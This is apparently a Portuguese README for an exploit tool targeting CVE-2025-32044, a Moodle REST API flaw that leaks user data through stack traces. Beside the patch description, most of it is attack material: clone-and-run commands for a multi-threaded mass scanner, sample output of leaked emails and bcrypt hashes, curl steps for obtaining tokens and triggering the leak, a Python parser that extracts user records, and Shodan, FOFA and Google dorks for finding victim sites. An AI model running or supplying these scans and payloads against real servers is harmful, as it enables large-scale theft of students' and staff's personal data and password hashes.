
Moodle 4.5.0-4.5.2 Exposição de Dados de Usuário Não Autenticada na API REST via Vazamento de Argumentos de Stack Trace | CVSS 7.5
CVE-2025-32044 é uma vulnerabilidade de divulgação de informações não autenticada de alta severidade (CVSS 7.5) no Moodle LMS 4.5.0 até 4.5.2.
A vulnerabilidade reside no manipulador de exceções da API REST do Moodle — exception_response::get_payload_data() em lib/classes/router/response/exception_response.php. Antes da correção, os stack traces do PHP com argumentos de função eram incluídos nas respostas de erro da API. Esses argumentos contêm dados confidenciais de usuário transmitidos pela pilha de chamadas — incluindo nomes de usuário, nomes completos, endereços de e-mail e hashes de senha.
Nenhuma autenticação, token ou interação do usuário é necessária para acionar o vazamento. O atacante só precisa enviar uma requisição malformada para qualquer endpoint da API REST que cause uma exceção interna.
| Versão do Moodle | Status |
|---|---|
| 4.5.0 – 4.5.2 | Vulnerável |
| 4.5.3+ | Corrigido |
| < 4.5.0 | Não afetado |
Todas as versões com zend.exception_ignore_args = On | Não afetado |
Descoberto por: Lucas Alonso (14 de março de 2025)
Tracker do Moodle: MDL-84879
Aviso: MSA-25-0011
// lib/classes/router/response/exception_response.php (ANTES da correção)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← inclui 'args'!
];
return $data;
}
Quando uma exceção ocorre durante o processamento da API REST, o stack trace do PHP inclui os argumentos de função (args) para cada quadro na pilha de chamadas. Esses argumentos contêm inadvertidamente dados da tabela de usuários que estavam sendo processados por funções mais acima na cadeia de chamadas.
// lib/classes/router/response/exception_response.php (APÓS a correção)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
Mais defesa em profundidade em lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Alvo Moodle 4.5.0-4.5.2 sem zend.exception_ignore_args
2. Enviar requisição malformada para /webservice/rest/server.php
(ex.: core_user_get_users_by_field com parâmetros obrigatórios faltando)
3. Exceção interna é acionada durante o processamento de dados do usuário
4. A resposta de erro da API inclui stack trace com 'args'
5. Analisar args para nomes de usuário, e-mails, hashes
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Varredura de alvo único
python cve_2025_32044.py -t moodle.target.com
# Varredura em massa
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Varredura em massa com mais threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Modo debug
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Alvo único (domínio ou IP)
-f, --file Lista de alvos, um por linha
-o, --output Salvar dados de usuário vazados em arquivo
--threads Trabalhadores concorrentes (padrão: 30)
--timeout Tempo limite da requisição em segundos (padrão: 10)
--debug Mostrar cada requisição HTTP
-v, --verbose Saída detalhada
$ python cve_2025_32044.py -t moodle-target.com
Vazamento de Stack Trace do Moodle | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : SIM v4.5.1
WS Ativado : SIM
Token : obtido (admin)
═══ DADOS VAZADOS ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
E-mails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Tempo : 3.2s
Vazamento de Stack Trace do Moodle | CVE-2025-32044 | CVSS 7.5
Alvos: 500 | Threads: 30 | Modo: SILENCIOSO
[VAZAMENTO] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Vazamento:5
───────────────────────────────────────────────────────
Concluído | 320s | Alvos:500 Moodle:87 WS:32 Token:8 Vazados:5
Passo 1 — Detectar Moodle + Serviços Web
# Verificar se é Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Verificar serviços web
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS ativado + talvez acesso convidado
# {"error":"Web services must be enabled..."} = WS desativado
Passo 2 — Obter um token (se possível)
curl -sk 'https://target.com/login/token.php?username=USUARIO&password=SENHA&service=moodle_mobile_app'
Passo 3 — Acionar exceção e capturar o vazamento
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# A resposta conterá stacktrace com args se vulnerável
Passo 4 — Analisar dados vazados
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"Usuário: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
A exploração bem-sucedida resulta em:
APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.
Este software é destinado a profissionais de segurança que conduzem testes de penetração autorizados, organizações auditando sua própria infraestrutura e pesquisadores estudando exploração de vulnerabilidades.
Os autores não assumem nenhuma responsabilidade pelo uso indevido.
Este projeto não é afiliado à Moodle Pty Ltd.
| Campo | Fonte |
|---|
| Nome de usuário | tabela user |
| Nome completo | firstname + lastname |
coluna email | |
| Hash de senha | hashes bcrypt $2y$ / $2b$ |
| Último IP de login | coluna lastip |
| ID do usuário | coluna id |
| Recurso | Link |
|---|
| Aviso do Moodle MSA-25-0011 | moodle.org |
| Tracker do Moodle MDL-84879 | tracker.moodle.org |
| Commit Git (correção) | github.com/moodle/moodle/commit/41917db65e6b |
| Entrada NVD | CVE-2025-32044 |
| Descobridor | Lucas Alonso |